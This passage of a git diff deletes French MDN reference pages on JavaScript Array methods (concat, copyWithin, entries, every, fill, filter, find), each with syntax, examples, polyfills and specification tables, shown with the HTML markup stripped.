  • Pour les chaînes, les booléens et les nombres « primitifs » (c'est-à-dire pas les objets {{jsxref("String", "String")}}, {{jsxref("Boolean")}} et {{jsxref("Number", "Number")}}) : concat copie les valeurs des chaînes et des nombres dans le nouveau tableau. (voir Les types de données en JavaScript).
    • -
- -
-

Note : La concaténation n'impactera pas les tableaux originaux. Par la suite, toute opération sur le nouveau tableau n'aura aucun effet sur les tableaux d'origine, et vice versa.

-
- -

Exemples

- -

Concaténer deux tableaux

- -

Le code qui suit concatène deux tableaux :

- -
let alpha = ["a", "b", "c"];
-let numerique = [1, 2, 3];
-
-alpha.concat(numerique);
-// donne : ["a", "b", "c", 1, 2, 3]
-
- -

Concaténer trois tableaux

- -

Le code qui suit concatène trois tableaux :

- -
let num1 = [1, 2, 3];
-let num2 = [4, 5, 6];
-let num3 = [7, 8, 9];
-
-let nums = num1.concat(num2, num3);
-
-console.log(nums);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-
- -

Concaténer des valeurs avec un tableau

- -

Le code qui suit ajoute trois valeurs à un tableau :

- -
let alpha = ['a', 'b', 'c'];
-
-let alphanumerique = alpha.concat(1, [2, 3]);
-
-console.log(alphanumerique);
-// ['a', 'b', 'c', 1, 2, 3]
-
- -

Concaténer des tableaux imbriqués

- -

Dans le code qui suit, on concatène deux tableaux qui ont plusieurs dimensions et on illustre la conservation des références :

- -
let num1 = [[1]];
-let num2 = [2, [3]];
-
-let nums = num1.concat(num2);
-
-console.log(nums);
-// affichera [[1], 2, [3]]
-
-// Ici, on modifie le premier élément de num1
-num1[0].push(4);
-
-console.log(nums);
-// affichera [[1, 4], 2, [3]]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.concat")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} qui permettent d'ajouter/retirer des éléments à partir de la fin du tableau
    • -
  • {{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} qui permettent d'ajouter/retirer des éléments à partir du début du tableau
    • -
  • {{jsxref("Array.splice", "splice")}} qui permet d'ajouter/retirer des éléments à un endroit donné du tableau
    • -
  • {{jsxref("String.prototype.concat()")}}
    • -
  • {{jsxref("Symbol.isConcatSpreadable")}} (permet de contrôler la façon dont un tableau est ramené à une valeur)
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html b/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html deleted file mode 100644 index 32ffdd57e3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Array.prototype.copyWithin() -slug: Web/JavaScript/Reference/Objets_globaux/Array/copyWithin -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin ---- -
{{JSRef}}
- -

La méthode copyWithin() effectue une copie superficielle (shallow copy) d'une partie d'un tableau sur ce même tableau et le renvoie, sans modifier sa taille.

- -
{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}
- - - -

Syntaxe

- -
arr.copyWithin(cible)
-arr.copyWithin(cible, début)
-arr.copyWithin(cible, début, fin)
-
- -

Paramètres

- -
-
cible
-
-

Indice à partir duquel la séquence sera copiée. Si la valeur est négative, cible sera compté à partir de la fin du tableau.

- -

Si cible est supérieur ou égal à arr.length, rien ne sera copié. Si cible est positionné apès début, la séquence copiée sera réduite pour correspondre à arr.length.

-
-
début {{optional_inline}}
-
Indice de début de la séquence a copier. Si la valeur est négative, début sera compté à partir de la fin du tableau.
-
Si début est omis, copyWithin copiera à partir du début du tableau (par défaut 0).
-
fin {{optional_inline}}
-
Indice de fin de la séquence a copier. copyWithin copie jusqu'à fin (non-inclusif). Si la valeur est négative, end sera compté à partir de la fin du tableau.
-
Si end est omis, copyWithin copiera jusqu'à la fin du tableau (par défaut arr.length).
-
- -

Valeur de retour

- -

Le tableau modifié par la méthode.

- -

Description

- -

La fonction copyWithin() fonctionne de la même façon que memmove en C/C++. C'est une méthode très performante pour décaler les données d'un {{jsxref("Array")}} ou d'un {{jsxref("TypedArray")}} (dans ce cas, on pourra utiliser {{jsxref("TypedArray/copyWithin", "TypedArray.copyWithin()")}}). La séquence est copiée et collée en une opération. La séquence collée aura les valeurs copiées même si les zones de copiage et de collage se chevauchent.

- -

La fonction copyWithin() est intentionnellement générique, il n'est pas nécessaire que this soit un objet {{jsxref("Array", "Array")}}.

- -

De plus, copyWithin() est une méthode qui modifie l'objet courant. Elle ne modifie pas la longueur de this, mais change son contenu et créé de nouvelles propriétés si nécessaire.

- -

Exemples

- -
[1, 2, 3, 4, 5].copyWithin(-2);
-// [1, 2, 3, 1, 2]
-
-[1, 2, 3, 4, 5].copyWithin(0, 3);
-// [4, 5, 3, 4, 5]
-
-[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
-// [4, 2, 3, 4, 5]
-
-[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
-// [1, 2, 3, 3, 4]
-
-[].copyWithin.call({length: 5, 3: 1}, 0, 3);
-// {0: 1, 3: 1, length: 5}
-
-// Les tableaux typés ES2015 sont des sous-classes d'Array
-var i32a = new Int32Array([1, 2, 3, 4, 5]);
-
-i32a.copyWithin(0, 2);
-// Int32Array [3, 4, 5, 4, 5]
-
-// Sur les plates-formes qui ne supportent pas encore ES2015 :
-[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
-// Int32Array [4, 2, 3, 4, 5]
-
- -

Prothèse d'émulation (polyfill)

- -

Cette méthode a été ajoutée à la spécification ECMAScript 6 et peut ne pas être utilisable dans tous les environnements. Voici un fragment de code qui permet d'émuler cette méthode :

- -
if (!Array.prototype.copyWithin) {
-  Object.defineProperty(Array.prototype, 'copyWithin', {
-    value: function(target, start/*, end*/) {
-    // Steps 1-2.
-    if (this == null) {
-      throw new TypeError('this is null or not defined');
-    }
-
-    var O = Object(this);
-
-    // Steps 3-5.
-    var len = O.length >>> 0;
-
-    // Steps 6-8.
-    var relativeTarget = target >> 0;
-
-    var to = relativeTarget < 0 ?
-      Math.max(len + relativeTarget, 0) :
-      Math.min(relativeTarget, len);
-
-    // Steps 9-11.
-    var relativeStart = start >> 0;
-
-    var from = relativeStart < 0 ?
-      Math.max(len + relativeStart, 0) :
-      Math.min(relativeStart, len);
-
-    // Steps 12-14.
-    var end = arguments[2];
-    var relativeEnd = end === undefined ? len : end >> 0;
-
-    var final = relativeEnd < 0 ?
-      Math.max(len + relativeEnd, 0) :
-      Math.min(relativeEnd, len);
-
-    // Step 15.
-    var count = Math.min(final - from, len - to);
-
-    // Steps 16-17.
-    var direction = 1;
-
-    if (from < to && to < (from + count)) {
-      direction = -1;
-      from += count - 1;
-      to += count - 1;
-    }
-
-    // Step 18.
-    while (count > 0) {
-      if (from in O) {
-        O[to] = O[from];
-      } else {
-        delete O[to];
-      }
-
-      from += direction;
-      to += direction;
-      count--;
-    }
-
-    // Step 19.
-    return O;
-  },
-  configurable: true,
-  writable: true
-  });
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ES2016')}} 
{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.copyWithin")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array", "Array")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html deleted file mode 100644 index 127cec9f99..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Array.prototype.entries() -slug: Web/JavaScript/Reference/Objets_globaux/Array/entries -tags: - - Array - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries ---- -
{{JSRef}}
- -

La méthode entries() renvoie un nouvel objet de type  Array Iterator qui contient le couple clef/valeur pour chaque éléments du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-entries.html")}}
- - - -

Syntaxe

- -
arr.entries()
- -

Valeur de retour

- -

Un nouvel objet qui est un itérateur pour {{jsxref("Array")}}.

- -

Exemples

- -

Parcourir un tableau avec ses index et éléments

- -
const arr = ["a", "b", "c"];
-for (const [index, element] of arr.entries()) {
-  console.log(index, element);
-}
-// 0 "a"
-// 1 "b"
-// 2 "c"
-
- -

Boucle for...of

- -

On peut avoir le même résultat en utilisant une boucle for...of :

- -
var arr = ['a', 'b', 'c'];
-var eArr = arr.entries();
-
-for (let e of eArr) {
-  console.log(e);
-}
-// [0, 'a']
-// [1, 'b']
-// [2, 'c']
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.entries")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.keys()")}}
    • -
  • {{jsxref("Array.prototype.values()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • for...of
    • -
  • Les protocoles d'itération
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/every/index.html b/files/fr/web/javascript/reference/objets_globaux/array/every/index.html deleted file mode 100644 index 2c3e71dca6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/every/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Array.prototype.every() -slug: Web/JavaScript/Reference/Objets_globaux/Array/every -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/every ---- -
{{JSRef}}
- -

La méthode every() permet de tester si tous les éléments d'un tableau vérifient une condition donnée par une fonction en argument. Cette méthode renvoie un booléen pour le résultat du test.

- -
-

Note : Cette méthode renvoie true pour n'importe quelle condition utilisée sur un tableau vide.

-
- -
{{EmbedInteractiveExample("pages/js/array-every.html")}}
- - - -

Syntaxe

- -
arr.every(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction sur laquelle on souhaite tester chaque élément du tableau. Elle prend en compte trois arguments : -
-
currentValue
-
La valeur de l'élément à traiter.
-
index{{Optional_inline}}
-
L'indice de l'élément du tableau à tester.
-
array{{Optional_inline}}
-
Le tableau sur lequel on a appelé la méthode every.
-
-
-
thisArg{{Optional_inline}}
-
Paramètre optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction.
-
- -

Valeur de retour

- -

true si la fonction de rappel obtient une valeur équivalente à vrai (truthy) pour chaque élément du tableau et false sinon.

- -

Description

- -

La méthode every exécute la fonction callback fournie sur chacun des éléments contenus dans le tableau jusqu'à ce qu'un élément pour lequel la fonction callback renvoie une valeur fausse (falsy value) soit trouvé. Si un tel élément est trouvé, la méthode every renvoie directement false. Sinon, si la fonction callback a renvoyé une valeur vraie pour tous les éléments, la méthode every renverra true. La fonction callback n'est appelée que pour les indices du tableau pour lesquels il existe des valeurs affectées. Elle n'est pas appelée pour les indices supprimés ou ceux qui n'ont jamais reçu de valeur.

- -

callback est appelée avec trois arguments : la valeur de l'élément en cours de traitement, l'indice de l'élément dans le tableau et le tableau qui est parcouru.

- -

Si un paramètre thisArg est fourni à la méthode every, ce sera la valeur this de la fonction callback. Si ce paramètre n'est pas fourni, la valeur undefined sera utilisée comme valeur pour this. La valeur this « définitivement » utilisée par la fonction callback est déterminée selon les règles usuelles de détermination de this.

- -

every ne modifie pas le tableau sur lequel elle a été appelée.

- -

Les éléments traités par la méthode every sont définis lors du premier appel à callback. Les éléments ajoutés au tableau après que l'appel à every ait commencé ne seront pas traités par la fonction callback. Si des éléments du tableau sont modifiés, la valeur passée à la fonction callback sera celle qu'ils ont au moment où every les traitera. Les éléments qui sont supprimés ne sont pas traités par la fonction every.

- -

every agit de la même façon que le quantificateur mathématiques « pour tous », notamment pour le cas au limite d'un tableau vide pour lequel elle renvoie true (on dit qu'il est trivialement vrai que tous les éléments d'un ensemble vide respectent n'importe quelle condition).

- -

Exemples

- -

Tester la valeur des éléments d'un tableau

- -

Dans l'exemple suivant, on teste si tous les éléments du tableau sont supérieurs à 10.

- -
function estAssezGrand(element, index, array) {
-  return element >= 10;
-}
-[12, 5, 8, 130, 44].every(estAssezGrand);   // false
-[12, 54, 18, 130, 44].every(estAssezGrand); // true
-
- -

Utiliser les fonctions fléchées avec every

- -

{{jsxref("Fonctions/Fonctions_fl%C3%A9ch%C3%A9es","Les fonctions fléchées","","1")}} permettent d'utiliser une syntaxe plus concise pour effectuer le même test.

- -
[12, 5, 8, 130, 44].every(elem => elem >= 10); // false
-[12, 54, 18, 130, 44].every(elem => elem >= 10); // true
-[{a:1, b:2}, {a:1, b:3}].every(elem => elem.a === 1); // true
-[{a:2, b:2}, {a:1, b:3}].every(elem => elem.a === 1); // false
-
- -

Prothèse d'émulation (polyfill)

- -

every fut ajouté avec la cinquième édition du standard ECMA-262. Pour cette raison, il n'est pas nécessairement présent dans les différentes implémentations de ce standard. Afin de faire fonctionner du code dans un environnement qui ne possède pas cette fonctionnalité, on pourra utiliser le fragment de code suivant au début des scripts. Cet algorithme correspond exactement à celui défini dans la cinquième édition du standard ECMA-262. On prend l'hypothèse que Object et TypeError ont leurs valeurs originales (n'ont pas été modifiés) et que callbackfn.call correspond bien à la valeur originale de {{jsxref("Function.prototype.call")}}

- -
if (!Array.prototype.every) {
-  Array.prototype.every = function(callbackfn, thisArg) {
-    'use strict';
-    var T, k;
-
-    if (this == null) {
-      throw new TypeError('this vaut null ou n est pas défini');
-    }
-
-    // 1. Soit O le résultat de l'appel à ToObject auquel on a
-    // passé this comme argument
-    var O = Object(this);
-
-    // 2. Soit lenValue le résultat de l'appel de la méthode interne
-    //   Get sur O avec l'argument "length".
-    // 3. Soit len le résultat de ToUint32(lenValue).
-    var len = O.length >>> 0;
-
-    // 4. Si IsCallable(callbackfn) est faux, on lève une exception
-    // TypeError.
-    if (typeof callbackfn !== 'function') {
-      throw new TypeError();
-    }
-
-    // 5. Si thisArg a été fourni : soit T cette valeur thisArg, undefined sinon.
-    if (arguments.length > 1) {
-      T = thisArg;
-    }
-
-    // 6. Soit k égal à 0.
-    k = 0;
-
-    // 7. On répète tant que k < len
-    while (k < len) {
-
-      var kValue;
-
-      // a. Soit Pk la valeur de ToString(k).
-      //   (ce qui est implicite pour les opérandes gauche de in)
-      // b. Soit kPresent le résultat de l'appel de la méthode
-      //    interne de O avec l'argument Pk.
-      //    Cette étape peut être combinée avec l'étape c
-      // c. Si kPresent vaut true, alors
-      if (k in O) {
-
-        // i. Soit kValue le résultat de l'appel de la méthode
-        //    interne Get de O avec l'argument Pk.
-        kValue = O[k];
-
-        // ii. Soit testResult le résultat de l'appel de la méthode
-        //     interne Call de callbackfn avec T comme valeur this et
-        //     la liste d'argument contenant kValue, k, et O.
-        var testResult = callbackfn.call(T, kValue, k, O);
-
-        // iii. Si ToBoolean(testResult) vaut false, on renvoie false.
-        if (!testResult) {
-          return false;
-        }
-      }
-      k++;
-    }
-    return true;
-  };
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.every")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("TypedArray.prototype.every()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html b/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html deleted file mode 100644 index 9c5d0c1e6f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/fill/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Array.prototype.fill() -slug: Web/JavaScript/Reference/Objets_globaux/Array/fill -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill ---- -
{{JSRef}}
- -

La méthode fill() remplit tous les éléments d'un tableau entre deux index avec une valeur statique. La valeur de l'index de fin n'est pas incluse. Cette méthode renvoie le tableau modifié.

- -
{{EmbedInteractiveExample("pages/js/array-fill.html")}}
- - - -

Syntaxe

- -
arr.fill(valeur)
-arr.fill(valeur, début)
-arr.fill(valeur, début, fin)
-
- -

Paramètres

- -
-
valeur
-
Valeur avec laquelle remplir le tableau.
-
début {{optional_inline}}
-
Index de début, la valeur par défaut est 0.
-
fin {{optional_inline}}
-
Index de fin, la valeur par défaut est this.length.
-
- -

Valeur de retour

- -

Le tableau modifié par la méthode.

- -

Description

- -

Les éléments pour lesquels on utilisera la valeur sont ceux contenus dans l'intervalle de positions [début, fin].

- -

La méthode fill() prend jusqu'à trois arguments : valeur, début et fin. Les arguments début et fin sont optionnels. Leurs valeurs par défaut sont respectivement 0 et la taille length de l'objet this.

- -

Si début est négatif, il sera traité comme length+début où length est la taille du tableau. Si fin est négatif, il est traité comme length+fin.

- -

La fonction fill() est intentionnellement générique, il n'est pas nécessaire que sa valeur this soit un objet Array.

- -

La méthode fill() est une méthode de modification, elle changera l'objet this lui-même, et renverra l'objet modifié. Elle ne crée pas de copie. Lorsque cette méthode reçoit un objet comme valeur, elle copiera l'objet passé et remplira le tableau avec une référence vers cette copie.

- -

Exemples

- -
[1, 2, 3].fill(4);            // [4, 4, 4]
-[1, 2, 3].fill(4, 1);         // [1, 4, 4]
-[1, 2, 3].fill(4, 1, 2);      // [1, 4, 3]
-[1, 2, 3].fill(4, 1, 1);      // [1, 2, 3]
-[1, 2, 3].fill(4, -3, -2);    // [4, 2, 3]
-[1, 2, 3].fill(4, 3, 3);      // [1, 2, 3]
-[1, 2, 3].fill(4, NaN, NaN);  // [1, 2, 3]
-Array(3).fill(4);             // [4, 4, 4]
-[].fill.call({length: 3}, 4); // {0: 4, 1: 4, 2: 4, length: 3}
-
-// Les objets sont copiés via une référence
-var arr = Array(3).fill({}); // [{}, {}, {}];
-arr[0].yop = "yop"; // [{yop: "yop"}, {yop: "yop"}, {yop: "yop"}]
-
- -

Prothèse d'émulation (polyfill)

- -
if (!Array.prototype.fill) {
-  Object.defineProperty(Array.prototype, 'fill', {
-    value: function(value) {
-
-      // Steps 1-2.
-      if (this == null) {
-        throw new TypeError('this is null or not defined');
-      }
-
-      var O = Object(this);
-
-      // Steps 3-5.
-      var len = O.length >>> 0;
-
-      // Steps 6-7.
-      var start = arguments[1];
-      var relativeStart = start >> 0;
-
-      // Step 8.
-      var k = relativeStart < 0 ?
-        Math.max(len + relativeStart, 0) :
-        Math.min(relativeStart, len);
-
-      // Steps 9-10.
-      var end = arguments[2];
-      var relativeEnd = end === undefined ?
-        len : end >> 0;
-
-      // Step 11.
-      var final = relativeEnd < 0 ?
-        Math.max(len + relativeEnd, 0) :
-        Math.min(relativeEnd, len);
-
-      // Step 12.
-      while (k < final) {
-        O[k] = value;
-        k++;
-      }
-
-      // Step 13.
-      return O;
-    }
-  });
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.fill")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("TypedArray.prototype.fill()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html b/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html deleted file mode 100644 index fdd8fa023a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/filter/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Array.prototype.filter() -slug: Web/JavaScript/Reference/Objets_globaux/Array/filter -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter ---- -
{{JSRef}}
- -

La méthode filter() crée et retourne un nouveau tableau contenant tous les éléments du tableau d'origine qui remplissent une condition déterminée par la fonction callback.

- -
{{EmbedInteractiveExample("pages/js/array-filter.html")}}
- - - -

Syntaxe

- -
arr.filter(callback); // callback(elementCourant[, index[, tableauEntier]])
-var nouveauTableau = arr.filter(callback, thisArg);
-
- -

Paramètres

- -
-
callback
-
La fonction de test (ou prédicat) à appliquer à chaque élément du tableau. Cette fonction est appelée avec les arguments suivants : -
-
elementCourant
-
L'élément à traiter
-
index
-
Son indice.
-
array
-
Le tableau complet
-
- Cette fonction renvoie true — ou une valeur équivalente — si l'élément doit être conservé pour le tableau résultat et false dans le cas contraire.
-
thisArg {{optional_inline}}
-
Objet à utiliser en tant que this quand la fonction callback est exécutée.
-
- -

Valeur de retour

- -

Un nouveau tableau contenant les éléments qui respectent la condition du filtre. Si aucun élément ne respecte la condition, c'est un tableau vide qui est renvoyé.

- -

Description

- -

filter() appelle la fonction callback fournie pour chacun des éléments d'un tableau, et construit un nouveau tableau contenant tous les éléments pour lesquels l'appel de callback retourne true ou une valeur équivalente à true dans un contexte booléen. La fonction callback n'est utilisée que pour les éléments du tableau ayant une valeur assignée — les index supprimés ou pour lesquels il n'y a jamais eu de valeur ne sont pas pris en compte. Les éléments du tableau qui ne passent pas le test effectué par la fonction callback sont ignorés, ils ne sont pas inclus dans le nouveau tableau.

- -

La fonction callback est appelée avec trois arguments :

- -
    -
  1. la valeur de l'élément courant,
    2. -
  2. l'index de l'élément courant,
    3. -
  3. l'objet Array parcouru.
    4. -
- -

Si le paramètre thisArg est fourni, il sera utilisé comme valeur this lors de l'appel de la fonction callback. S'il n'est pas fourni, la valeur undefined sera utilisée à la place. La valeur de this qui est finalement utilisée par la fonction callback est déterminée selon les règles usuelles pour déterminer la valeur this au sein d'une fonction.

- -

Noter que filter() ne modifie pas le tableau d'origine.

- -

La liste des éléments parcourus par filter() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés à la liste après le début de l'appel de filter() (grâce à la fonction callback par exemple) ne seront pas concernés par le filtre. Si des éléments de la liste sont modifiés ou supprimés au cours du traitement, la valeur fournie à la fonction callback sera la valeur de ces éléments au moment où filter() les traite — les éléments supprimés ne seront pas traités par la fonction.

- -

Exemples

- -

Filtrer les petites valeurs

- -

L'exemple suivant utilise filter pour créer une nouvelle liste où tous les éléments dont la valeur est inférieure à 10 ont été retirés.

- -
function suffisammentGrand(element) {
-  return element >= 10;
-}
-var filtre = [12, 5, 8, 130, 44].filter(suffisammentGrand);
-// filtre vaut [12, 130, 44]
-
- -

Filtrer des éléments JSON invalides et les trier en fonction d'un identifiant avec filter()

- -

Dans l'exemple qui suit, on utilise filter() pour créer un objet JSON qui contient des éléments dont l'id est un entier.

- -
var arr = [
-  { id: 15 },
-  { id: -1 },
-  { id: 0 },
-  { id: 3 },
-  { id: 12.2 },
-  { },
-  { id: null },
-  { id: NaN },
-  { id: 'undefined' }
-];
-
-var elementsInvalides = 0;
-
-function filtrerParID(obj) {
-  // Si c'est un nombre
-  if (obj.id !== undefined && typeof(obj.id) === 'number' && !isNaN(obj.id)) {
-    return true;
-  } else {
-    elementsInvalides++;
-    return false;
-  }
-}
-
-var arrByID = arr.filter(filtrerParID);
-
-console.log('Tableau filtré\n', arrByID);
-// Le tableau filtré est :
-// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
-
-console.log('Nombre d\'éléments invalides = ', elementsInvalides);
-// Nombre d'éléments invalides 4
- -

Recherche dans un tableau

- -

Dans l'exemple qui suit, on utilise filter() pour filtrer le contenu d'un tableau selon un critère donné.

- -
var fruits = ['pomme', 'banane', 'raisin', 'mangue'];
-
-function filtreTexte(arr, requete) {
-  return arr.filter(function (el) {
-    return el.toLowerCase().indexOf(requete.toLowerCase()) !== -1;
-  })
-}
-
-console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
-console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];
-
- -

Implémentation avec la syntaxe ECMAScript 2015 (ES6)

- -

L'exemple suivant utilise les fonctions fléchées, et le mot clé const disponible en ES6.

- -
const fruits = ['pomme', 'banane', 'raisin', 'mangue'];
-
-const filtreTexte = (arr, requete) => {
-  return arr.filter(el =>  el.toLowerCase().indexOf(requete.toLowerCase()) !== -1);
-}
-
-console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
-console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];
- -

Prothèse d'émulation (polyfill)

- -

Array.prototype.filter() a été ajoutée avec la cinquième édition du standard ECMA-262 — ainsi elle pourrait ne pas être présente dans toutes les implémentations du standard. Ce problème peut être contourné en ajoutant le code suivant au début des scripts et permettra d'utiliser filter au sein d'implémentations qui n'en bénéficient pas nativement. Cet algorithme est strictement celui spécifié par la cinquième édition d'ECMA-262, en considérant que callbackfn.call est évaluée avec la valeur d'origine de {{jsxref("Function.prototype.call")}} et que {{jsxref("Array.prototype.push")}} a sa valeur d'origine.

- -
if (!Array.prototype.filter){
-  Array.prototype.filter = function(func, thisArg) {
-    'use strict';
-    if ( ! ((typeof func === 'Function' || typeof func === 'function') && this) )
-        throw new TypeError();
-
-    var len = this.length >>> 0,
-        res = new Array(len), // preallocate array
-        t = this, c = 0, i = -1;
-    if (thisArg === undefined){
-      while (++i !== len){
-        // checks to see if the key was set
-        if (i in this){
-          if (func(t[i], i, t)){
-            res[c++] = t[i];
-          }
-        }
-      }
-    }
-    else{
-      while (++i !== len){
-        // checks to see if the key was set
-        if (i in this){
-          if (func.call(thisArg, t[i], i, t)){
-            res[c++] = t[i];
-          }
-        }
-      }
-    }
-
-    res.length = c; // shrink down array to proper size
-    return res;
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.filter")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/find/index.html b/files/fr/web/javascript/reference/objets_globaux/array/find/index.html deleted file mode 100644 index c6675f0b1b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/find/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Array.prototype.find() -slug: Web/JavaScript/Reference/Objets_globaux/Array/find -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/find ---- -
{{JSRef}}
- -

La méthode find() renvoie la valeur du premier élément trouvé dans le tableau qui respecte la condition donnée par la fonction de test passée en argument. Sinon, la valeur {{jsxref("undefined")}} est renvoyée.

- -
{{EmbedInteractiveExample("pages/js/array-find.html")}}
- - - -

Voir aussi la méthode {{jsxref("Array.findIndex", "findIndex()")}} qui renvoie l'index de l'élément trouvé et non sa valeur. Si on souhaite repérer la position d'un élément donné dans le tableau, on pourra utiliser {{jsxref("Array.prototype.indexOf()")}}. Si on souhaite déterminer si un tableau contient un élément donné, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.

- -

Syntaxe

- -
arr.find(callback(element[, index[, tableau]])[, thisArg])
- -

Paramètres
